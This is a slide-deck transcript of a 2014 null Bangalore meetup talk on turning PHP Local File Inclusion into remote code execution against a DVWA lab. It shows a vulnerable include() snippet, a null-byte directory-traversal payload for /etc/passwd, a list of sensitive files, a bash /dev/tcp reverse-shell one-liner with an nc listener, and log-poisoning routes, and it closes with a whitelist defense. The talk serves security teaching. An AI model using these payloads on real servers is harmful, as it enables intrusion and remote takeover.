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Local File Inclusion to Remote Code Execution

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null Bangalore Chapter - March 2014 Meet

null Bangalore Chapter - March 2014 Meet

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  • 1. Local File Inclusion To Remote Command Execution [LFI <> RCE] By Sharath Unni
  • 2. Introduction  What is a file inclusion vulnerability?  How the attack works?  RFI/LFI vulnerable PHP functions  Traverse and read local files  PathTraversal / FI using scanners  Reverse shell via LFI  Other ways to inject your code  Defending yourself
  • 3. What is a file inclusion vulnerability?  Input validation  The application trusts/doesn’t validate the user input  The code includes/imports other pages  Dynamic including of the page  When PHP includes a file it will parse any PHP code within that file (“<?php” and “?>”) Do not trust the user…ever !!
  • 4. How the attack works? http://192.168.109.136/dvwa/vulnerabilities/fi/?page=include The code would be: <?php $file =$_GET[‘file']; include("/".$file .".php"); <--Vulnerable !! ?>  Assign page to "../../../../etc/passwd%00“ <?php $file =$_GET[‘file']; include("/../../../../etc/passwd%00.php"); <-- Directory Traversal to LFI ?> %00 (Null CHAR) will ignore everything that comes after %00 ../../../ will traverse path to root and goto /etc/passwd
  • 5. RFI/LFI vulnerable PHP functions include() include_once() require() require_once() fopen()
  • 6. Common locations  Normally, the following files are read: /etc/passwd /etc/group /etc/security/passwd /etc/security/user /etc/security/environ /etc/httpd/conf/httpd.conf  Other Unix common locations
  • 7. Path Traversal / FI using scanners http://sectooladdict.blogspot.in/ OR http://sectoolmarket.com/
  • 8. We read the files, what next?
  • 9. Reverse shell via LFI  PHP script to open an outbound TCP connection <?php exec("bash -i >& /dev/tcp/<yourIP>/<port> 0>&1"); ?>  Go and catch the reverse shell nc –lp <port>
  • 10. Other ways to inject your code  Using directory traversal to read files  Log poisoning (access.log, error.log)  Session variables  Uploaded files  Emails  Shared hosting  FTP and other logs
  • 11. Defending yourself  <?php  $page_files=array( 'about'=>'about.html',  'photos'=>'photos.html',  'contact'=>'contact.html',  'home'=>'home.html'  );   if (in_array($_GET['page'],array_keys($page_files))) {  include $page_files[$_GET['page']];  } else {  include $page_files['home'];  }  ?>
  • 12. Thank You! 
  • 13. References  http://sectoolmarket.com/path-traversal-local-file- inclusion-detection-accuracy-of-open-source-web- application-scanners.html